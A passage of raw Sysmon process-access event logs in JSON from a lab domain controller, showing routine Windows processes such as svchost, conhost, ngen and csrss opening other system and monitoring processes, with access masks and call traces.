12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00107A931100}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00107A931100}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.401\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-001017951100}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.401","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-001017951100}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-001017951100}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 